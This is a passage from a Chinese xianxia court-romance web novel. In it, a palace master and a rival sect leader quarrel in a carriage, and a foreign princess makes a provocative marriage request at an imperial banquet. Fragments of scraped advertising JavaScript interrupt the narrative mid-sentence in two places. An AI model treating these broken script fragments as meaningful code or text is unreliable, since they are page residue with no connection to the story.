她从脑中挑捡了个最有攻击性的词句,正要开口,却听见谢止的声音又响了起来。 “贺宫主庶务繁多,忙碌非常,方才怎么都不肯见,现在却舍得抽时间莅临寒舍。”谢止的视线落在贺玄青的身上,“贺玄青,我对你,就那么有用吗?” 怎么从一见面就开始阴阳怪气。 但哪怕是贺宫主也不能承认谢止没用,于是贺玄青迟疑着点了点头。 “呵。”谢止勾起唇角,像是发出了一声冷笑。 从进来开始谢止就古古怪怪,浑身上下透着股难以琢磨的意味,贺玄青心下揣度着他的意图,却看谢止忽然俯身,凑到了她的面前。 他骤然凑近,忽然放大的脸吓了贺宫主一跳。 贺玄青眉心狠皱:“你……” “不要说话。”带着些许凉意的指尖蹭过她的脸颊,抵在了她的唇边,谢止声音沉冷:“我不想听了。” 他足比贺玄青高了半个头,此时逆光而立,阴影足以将贺玄青整个人都笼罩其中,长发垂在贺玄青的脖颈,随着马车颠簸带来些许痒意。 他们之间的距离太近,以至于贺玄青能嗅闻到他身体散发出的淡淡檀香。这本该奉在神坛的味道却在贺宫主的心中变成了引线,牵扯出了那些秘而不宣,不可付诸于口的隐秘旖念。 无数画面涌入脑海,谢止冰凉的指尖在刹那间勾连起了某些记忆,贺玄青在心中唾骂自己思想肮脏。 或许是因为心虚,贺玄青老老实实地闭了嘴。 好在谢止并没有察觉出贺玄青的异常。他好像还在气头上,薄薄怒意自他漂亮的眉眼蒸腾而出,更显其妍丽不可方物。 “贺宫主博闻多识,有没有听说过一个传言。” “传说天衍有一至宝,名为昆仑玉,可囚人生魂,将之带离原本的躯壳,被囚禁的魂魄不能自主动作,就连视、听二感都被剥夺,只得任由昆仑玉的主人摆布。” 谢阁主声音平淡,好像只是在同贺玄青讲述一件奇事。 “我有时候在想,倘若你……不是风波宫宫主了呢?” 他的视线落在贺玄青的身上,青色的眼眸早缩成了一道竖线,那是个极危险的信号。 不过色令智昏的贺宫主其实根本没有在听谢止说了什么,她只听清了最后一句,随口答:“那南疆兵马怕不是会第二日就打进京城吧……呜。” 贺玄青的唇被一只手死死捂住,死对头的心情犹如七月的天气说变就变,贺玄青被他的骤然翻脸弄得莫名其妙,没忍住反驳。 “呜呜呜……唔。”明明是你先问的。 谢止深吸一口气,看样子好像比她更生气:“我警告过你,不许开口。” 谢止在摘星阁担任阁主之位足有数年,早就练就了不怒而自威的本事,稍微皱皱眉都能让其门下的小弟子心惊胆战、退避三舍。 但贺玄青半点不害怕,贺玄青像是根本不懂自己落入了怎样的处境,圆溜溜地漆黑瞳孔带着好奇,正悄悄观察着谢止的反应。 这种表情是什么含义谢止再清楚不过。 几十年前,尚且还是清禾公主的贺玄青也是挂着这样一副好奇表情,从腰间拔出了个还不足半尺长的小桃木剑。 她上下打量着,终于确认了面前人的身份,于是高高兴兴地看着谢止,声音清脆而又响亮:“师兄,我要挑战你。” 那时候的贺玄青甜得就像是一场清梦,软乎乎的模样极容易蛊惑人心,让人忽略她真正的想法。 只有谢止清楚贺玄青露出这个表情是什么含义,贺玄青每每感到不服气的时候都会露出这样的表情,谢止经常能瞧见——那也是理所应当的,她是天衍国的公主,公主千金之躯,哪怕真犯错了原因也不在她身上,她能有什么错。 哪怕过了那么多年贺玄青还和当年那个小豆丁没什么区别,在谢止眼中她依旧好懂得就像是拿笔书写在了脸上。 谢止看着这样的贺玄青,眉眼彻底沉了下来。 她不明白自己错在何处。 也对,一直以来被困在原地的只有他一个,贺玄青根本不可能明白。 “呜呜……” 口鼻被那只手一并捂住,连呼吸都变得艰难起来,贺玄青下意识咬住了他的掌心。 尖牙刺破了谢止的皮肤,甜腻巫血滑入口腔。谢止的手却纹丝不动,依旧牢牢捂着她,像是打定主意不松手。 恍惚间贺玄青又想起那日见到的狰狞白骨,刚刚没有注意,也不知他的伤口好了没有,这样做岂不是止给他伤上加伤,贺玄青松开牙齿,她伸出舌尖,想要舔舔自己因紧张而发干的嘴唇。 这完全是她无意识的举动。等她舔上去的时候才明白过来谢止的手还放在自己的嘴唇旁边,这样一舔,岂不是、岂不是…… 贺玄青迅速收回舌尖。 谢止的手比她还快,像是触电般缩了回去。 刹那间,两人都想起了某些难以言喻的画面。积蓄好的怒意散了个干干净净。谢止坐姿板板正正,浑身僵成了一根硬竹竿。 “罢了。”谢止坐回了原地,头转向与贺玄青完全相反的方向,“我早知你是个没心肝的。” 刚刚想杀她就算了,杀不成怎么还骂人。 贺玄青在心里早把谢止骂了个狗血淋头。但她来这里是因为她还有件要紧事要说,贺玄青决定大人有大量不同谢止这小人计较。 贺玄青正色道:“我这次来找你,是想告诉你一件事。” “说。” “……” 她来之前答应过《若书》,但到了要说的关口才发现这些话实在难以启齿,向来一言九鼎的贺宫主坐如针毡,活像是身下有虫子在爬。 总比谢止好,谢止的位置不好,现在正对着风口,也不知道脸吹得疼不疼。 对比之下,贺玄青反而缓和了些许。 被狂风吹着的谢阁主显然没有她那样的好耐心,只等了数息就下了逐客令:“贺宫主无事就可以离开了。” “扶沈,停车。” 那怎么能成,她一宫之主,怎能当懦夫逃兵。就这样回去,定会被那本书狠狠嘲笑的。 马车隐隐有停下的趋势。被逼到极限的贺玄青终于开口:“现在的绪冥还不可杀。” “哦。” 听出了谢止声音中的冷淡含义,贺玄青知道他是还有误会,干脆说得更深了一些:“只是暂时不能动手而已,因为他是……” 马车外小弟子传来惊呼,原先万里晴空的天气在贺玄青出口的瞬间变得乌云密布,雷声轰鸣阵阵积蓄在空中。 谢止显然也意识到了什么,骤然变了脸色:“够了,不要说了。” 贺玄青唇角溢出抹鲜血,但她既然决定开口,就一定会说清楚:“只要等到……。” 电光在云端迅猛积蓄,穿过马车直冲贺玄青头顶砸去。 这是贺玄青早就预料到会发生的事,但没想到天道严苛到一点讯息都不让她透露,贺玄青也是个犟种,她拧紧了眉,打算硬抗着也要说下去。 谢止却在刹那间伸手,无数繁复法诀自他指尖升起,谢阁主火中取栗,生生扭转了雷劫的方向。 那道雷光披在马车旁,在地上划出道狰狞裂缝。 “我知道你的意思,不必说了。”谢止神情凝重,他显然明白了贺玄青不动手的原因并不是自己想的那个,脸颊上浮起薄薄红晕,“……我会听你的。” 哪怕谢止不清楚具体原因,但这种反噬状态对他一个谋士而言再清楚不过。谢止不是傻子,肯定听出了自己的言下之意。 贺玄青要的就是这种结果。 她终于闭上了嘴。雷劫检测到她不再有透露天机的意图,翻滚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着的雷雨缓缓消散,天空碧蓝如洗。只有地上还泛着雷光的裂隙彰显出方才发生过什么。 马车早就停了,但两位大佬待在车内长手长脚,干巴巴像是在玩什么一二三木头人的游戏。 谢止又将脑袋转了过去,不知在对着窗外那些荒山看些什么。贺玄青也没比他好多少,她总觉得车内气氛奇奇怪怪,比方才紧绷的时候还让她觉得不自在。 但已经开过了个头,现在想要继续说下面的话就变得顺利起来。 来的时候就已打好腹稿,贺玄青连贯地将自己的诉求说出口:“你的性命是我救的,那你的身子由上到下都是我的东西,以后不经过我的同意,绝对不能做出伤害自己身体的事情,更不能私自做决定。” 眼睛,脸,手……屡次三番,贺玄青已经受够了。 “好。” “还有……” “你不许。”贺玄青咬牙切齿,“再用蛇尾巴.......” “好。” 现在的谢止与刚才的态度大相径庭,虽然不知道为什么一直不肯看她,但莫名其妙的好说话。 贺玄青得寸进尺:“最近南疆使团进京需要招待,外加之前举办登云路花费不少。朝堂缺粮少钱,仙盟可以帮忙支援些银两,你们摘星阁那么多小弟子反正也没什么事情做,不如多派一点出来为我干事。” “好。” “折子太多了,你平日要勤快些来茗惜殿批阅,别让我每次都亲自去请。” “好。” 一股气制定了不少不平等条约,贺玄青心满意足,终于问出了从刚刚就埋藏在心中的疑惑:“刚才我好像看见了你手上有一圈黑黑的东西,那是什么?” 一直应好的声音停了。 贺玄青没察觉出谢止的异常,还在尝试去扒他的手:“给我看看。” 贺玄青不止想看那个,她主要还在顾及谢止的身体,想看看他的手指好全了没有。 巫族血脉果真强大,不过才过了几日,从外表看像是几乎好全了,但当是那枯骨的样子实在触目惊心,让贺玄青不免有些担忧。 她扒开了一只手,没瞧见什么端倪,又想去扒另外一只。 但谢止死死收着那只手,硬是不让她看。 他这样遮遮掩掩的态度反倒勾起了贺玄青的好奇心,她抓心挠肝的想看个分明,整个人都快拱进他的怀中。 终于,贺玄青瞥到了他藏在怀里的那只紧握的拳头。 好像是……头发? 他藏头发干什么? “贺玄青。”谢止声音响在贺玄青的头顶,莫名地带了些许喑哑,“出去。” 好端端的,怎么又开始发脾气。 无形的结界将她轻轻推开,贺玄青被硬顶出了马车。 要是不知道人的还以为他俩之间他才是公主呢。左右目的已然达成,贺玄青耸了耸肩,心下腹诽。 他薅自己头发的时候她都大度没计较,现在轮到自己,居然连看都不让看了。 “小气鬼。” …… 马车最后还是停在了摘星阁门口,驾车的小弟子像是刚经历过什么大事,表情余惊未消。陈管事越过那弟子身侧,想也不想便掀开帐帘,将头探入了马车中。 陈管事看清马车里的场景,惊呼出声:“天啊,阁主,你的脸怎么红成这样了?” 若是以往陈管事定然不敢这样逾矩失礼,但他之前接到了风波宫的通知,说是自家阁主被诅咒反噬。 哪怕再不顺眼风波宫,觉得风波宫传递来的都是假消息,但阁主的安危是最要紧的,陈管事关心则乱,干脆匆忙迎了上去。 “这次咒术反噬竟如此严重,瞧,耳根到脖子居然全红了,到底是什么咒术的反噬,竟恐怖如斯!” 周围小弟子们听见了自家管事的惊呼,纷纷围了上来,但他们不敢像陈管事那样亲自进入马车确认阁主安危,只敢抻着脑袋听管事描述。 陈管事痛心疾首,询问起驾车的弟子:“扶沈,发生了什么?” 小弟子脸涨得通红,支支吾吾,半句话都说不出来。 管事给那名名叫扶沈的小弟子加油打气:“没关系,看到什么直说便是,我们摘星阁什么时候怕过朝堂的人?” 小弟子们齐齐点头:“就是,就是!扶师兄尽管说就是。” “我、我……”扶沈支支吾吾,“我看见阁阁主与风波宫……” 果然是他们风波宫的人贼喊捉贼。陈管事怒不可遏,还要再问细节。 却听谢止声音冷冷响起,打断了他的描述:“都散了吧。” 谢止的声音中透着莫名寒意,感知敏锐地小弟子们乌泱泱散了个干净。 “对!”陈管事跟着搭腔,“都聚在这里做什么?还不快去无忧宗请莫掌门诊治!” “不用。” “对,都听阁主的,阁主说不用……那可不成啊,阁主?”陈管事俯下身,苦口婆心劝诫不好好看医生的阁主,“咒术反噬严重,稍有不慎便会危及性命,阁主可千万拖不得啊。” 谢止好像是深吸了一口气:“陈钟。” 陈管事恭敬:“阁主有何吩咐?” “滚。” “好……为什么?” 47. 第 47 章 “你瞧,又封了一个,那里原先是开香坊的吧。老受欢迎了,俺家婆娘最爱在里头买香。” 坊间一处临街茶馆内,两位汉子坐在茶馆竹椅上,闲谈起来。 他们都是干力气活的脚夫,平日靠着帮人搬搬重物谋生。经常走街串巷,对这周围商铺的变化了如指掌。 “是啊是啊,最近天可不太平。东街头有个米铺,里头的老板可是俺的老主顾,前几日也关铺子歇业了,说是因为什么没有缴粮。” 他身旁那汉子义愤填膺:“上税补缴了不就是了,好端端关人家铺子做什么?我看就是那些军爷缺了酒钱,来找咱们这些百姓敲竹杠……” 他还未说完,就听见身旁传出一阵嗤笑:“还敲竹杠呢,你能有几个钱?” 壮汉恼羞成怒,转头看是谁在插嘴。 嘲笑他的人是一个书生打扮的男子,虽然不是很礼貌,但说起话来有理有据:“风波宫主殿就在此,贺宫主刚继位的时候来一个贪官就杀一个,鲜血足足染红了风波宫前那条长阶,自那之后,这些京城的官员,还有哪个敢贪墨百姓银两。” 书生打扮的男子上下打量着那脚夫,说得半点不客气,“你有几个钱,能那些军爷卖命去抢。” “你!”壮汉将桌子拍得震天响,对那书生怒目而视。他的同伴还有些理智,将他拦了下来,但也是不服。 “那你不妨说说,是什么缘由?” “这些日子关停的可都不是正经铺子。”书生笑吟吟看着那两位壮汉,故意压低声音,“这几日查抄的,全都是南疆的探子。” “什么?!” 壮汉们大为惊慌,其中一位脚夫掰着手指计算起来:“东街头那米铺已开了足足三载,那岂不是……” “正如你所想的那般。南疆使团这次进京,怕是不怀好意。” “那还了得?那还不赶快把他们都赶出去。” “怕什么?”书生摊开折扇,眯起眼睛笑容和煦,“我天衍人才济济,自有人会去找他们算账。” …… 天衍皇宫内。 宫殿洞开如九天阊阖,宫殿之中,金辉闪耀,龙纹盘绕。明初帝高坐龙椅,目光如炬,俯瞰着下方。 今日便是南疆使团入京觐见的日子,天衍作为东道主开宴为南疆使团接风洗尘。殿堂内,乐声悠扬,舞姬摇曳生姿。长桌上摆满珍馐美味,美酒飘香。百官分坐两侧,更显大国威仪,落落大方。 这次宴席无比盛大,天衍这些有头有脸的大臣们全都不敢缺席,除了风波宫宫主贺玄青。 贺宫主好像有别的庶务在身,此次风波宫由她的弟子绪冥代为出席。 礼部司务曹旺还是头一回经历这样的大场面,紧张非常。 按照官阶他是去不了这等档次的活动的,但在守旧派的诸位伙伴努力之下,还是给了他一个参与这场宴席的名额。 不仅如此,他们甚至争取到了能让他说话的机会,他此时就站在大殿上,和一群宫女太监站在一起,前半场主要负责唱喏,但等到了后面议事的时候,他要负责来回传递使团意见和皇帝口谕。 这样的事由一个礼部司务来做听着就很古怪,因为这本就是强加上去的,他其实基本等同于抢了掌事太监的活儿。 如今被自己抢了差事的掌事大太监就站在自己身侧,曹旺预料这人保不齐会给自己脸色看。但那公公垂着头,安安静静,一点反应都没有,不像是人,反倒像是个物品摆件。他周围那圈宫女太监,也基本全都是他这个模样。 这种氛围比直接针对他还恐怖,曹旺虽然面上还一派温和,心中早就落下泪来。 被吓的。 不能这样的,曹旺,面对这种小小困难岂能退缩?你要争气啊! 前辈们的谆谆嘱托言犹在耳,曹旺卧薪尝胆,等的就是最后传喏的时机。 大殿太长,正常说话是听不清的,那时候靠的就是他跑来跑去来回传讯。到时候他再将两方对话的内容再加工一番,在意思不变的情况下美化一下词句,何愁不促进两国盟约。 以和为主,和气生财,以和为贵啊。 大家也都是这样想的吧! 乐声暂歇,礼部侍郎郭锦端起酒杯,和和气气给这次随南疆使团一同入京的南疆公主遥光敬酒。 曹旺看着自己的顶头上司,他自入京为官开始还从未见过这老扒皮笑得这样温和过。霎时间曹旺的内心充满欣喜憧憬,想必他定然会打响天衍南疆和平建交第一枪。 只听得礼部侍郎郭锦终于开口,语气也温和极了,说得却不是什么曹旺预想中的好话:“我们天衍素来好客,广迎来使,但你南疆为何屡次三番派遣细作潜入我天衍国都,难不成事是想与天衍开战吗?” 根、本、不、是! 曹旺身形一晃,差一点崴到脚。 郭锦的言语犹如利刃,彻底撕开了两方和气的假面。 他们之间坐得不远,无需曹旺传话,遥光也已然听见了。 “确有其事。”遥光公主自席上站起,举杯冲着众人行礼:“遥光治下不严,失职在我,我先自罚三杯。” 还好,南疆是又和谈意向的。曹旺看着那异国女人笑容和煦,道歉都态度也算诚恳,微微松了一口气。 但下一刻,只见遥光伸手一指,使团中登时站出两名汉子,他们手中还拎着个赫然是五花大绑的男子。 四下一片哗然。 礼部侍郎郭锦脸上的笑容彻底消失了:“这是何人?” “这位是南疆的大臣,在南疆主要负责情报交接事宜,这些日子在天衍安插的那些探子暗手,全是他自作主张。” 遥光举杯对着众人,饮尽三杯后旋身冲着明初帝的方向。 她将手放在胸前,躬身行了一礼:“遥光今日将这奴才带来,全凭陛下处置。” 南疆那些探子在天衍潜伏已久,南疆皇室绝不可能不知情,所有人都知道这只是个被拎出来挡事的替罪羊。但遥光这样做,至少给天衍递了个台阶,让大家明面上都还能过得去。 应当还有缓和的机会。大家各退一步,或许还有得谈。 曹旺将遥光的意思传递给明初帝,私下建议道:“陛下,是否要先行收监,往后再处置?” 当面处理如果惩罚太重未免驳斥南疆脸面,若是太轻怕是不可平息百官怒火,最好的方式就是先收入监牢,待使团离京后再行发落。 只见明初帝撑着下巴,像是极感兴趣一般:“杀了吧。” “凌迟。” 不要啊。 曹旺倒吸一口冷气。 他只能缓和双方的语气,但万不能篡改陛下的旨意。曹旺心里一片凉薄,心想任重道远 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,这席上除了自己全都是维新派的走狗,就连陛下都被他们蒙蔽,自己这回怕是完不成组织交代的任务了。 被五花大绑的男子瘫坐在地,被金羽卫们生生拉了下去。 只见南疆使团纷纷色变,遥光的脸色却没有丝毫变化。她站在原地,脸上依旧挂着亲和的笑容。 宴上气氛早已紧绷到了极点,往日这种情况都是贺宫主来解决困难拿定主意,但现在坐在风波宫席位上的并非贺宫主本人,而是他的弟子,那弟子坐在席上一言不发,也不知在想些什么。 礼部尚书还在诘问遥光究竟有何目的,曹旺早就不抱任何希望地闭上了眼睛。 “我这次来,是为了促进天衍南疆结盟一事,希望能与天衍结桩姻亲。” 曹旺闭上的眼睛又猛得睁开,他有些期待地看向遥光。 是了是了,虽然天衍没有适龄公主但遥光可是南疆的公主啊,若是两国联姻,没必要非得天衍派遣公主去南疆,南疆派公主嫁去天衍也是一样的。 曹旺急急忙忙,迅速向明初帝传递了南疆的意图。 明初帝显然和曹旺想到了一块去,他的视线上下打量着遥光,没什么兴趣地打了个哈欠。 那遥光明明是位不可多得的美人,明初帝看她却和看山间那些土石没什么区别。这位帝王怕不只是在杀人的时候才有兴趣。 曹旺内心腹诽,恭敬退下。 “当年清禾公主与我阿玛定亲,奈何还未成亲,清禾公主却红颜薄命,先行殒命归西。”遥光面对着诸位大臣公卿,在提及此事时,她漂亮的眉眼里似乎含着些许惋惜落寞,“如今老阿玛亡故,我阿哥继位成了新的可汗,依照我南疆习俗,阿哥可继承阿玛的妃子。” 遥光声音不疾不徐,耐心讲述着他们南疆的风俗习惯,大殿内鸦雀无声,大家都在听她究竟要做什么。 “我阿哥尚且还皇子时便时常听闻清禾公主的消息,仰慕非常。”只见遥光公主唇角带笑,“遥光今日来此,是为了圆我哥夙愿,南疆愿以黄金万两,数千牛羊交换,迎清禾公主陵寝归南疆,天衍两国自此联姻,永结秦晋之好。” 她竟是要来替父兄迎娶一位死人。 四下哗然一片,众人纷纷侧目,他们对那位早夭的皇嗣没什么感情,只觉得南疆习俗古怪,南疆皇室的要求更加奇怪。 无论清禾公主生前再尊贵,死后也不过是具枯骨,死人遗骨而已,拿来换取那些资源完全是笔很划算的买卖。曹旺觉得南疆这次结盟诚意满满,很是上道。 没想到前辈们的嘱托居然真能完成。曹旺忙不迭便要去传递遥光的意图,但他根本还没来得及动作 明初帝面色铁青,重重掀翻了桌案。 杯盏坠地,酒水散落一地,翻倒的桌案压倒了新鲜果蔬。 天子一怒,众臣子齐齐跪地。曹旺也跟着原地跪倒,他将头嗑在冰冷的白玉石阶上,想不明白陛下为何要如此生气。 他的第一反应是原来无需自己传话明初帝也能听见啊。 第二反应是陛下为何会发那么大火气?清禾公主死时陛下才刚刚出生,他没有听说过陛下与这位清禾公主交好啊。 “大胆!” 明初帝勃然大怒,厉呵之下数百金羽卫涌入大堂,将遥光公主乃至使臣团团围住,“荒唐!” 气氛剑拔弩张。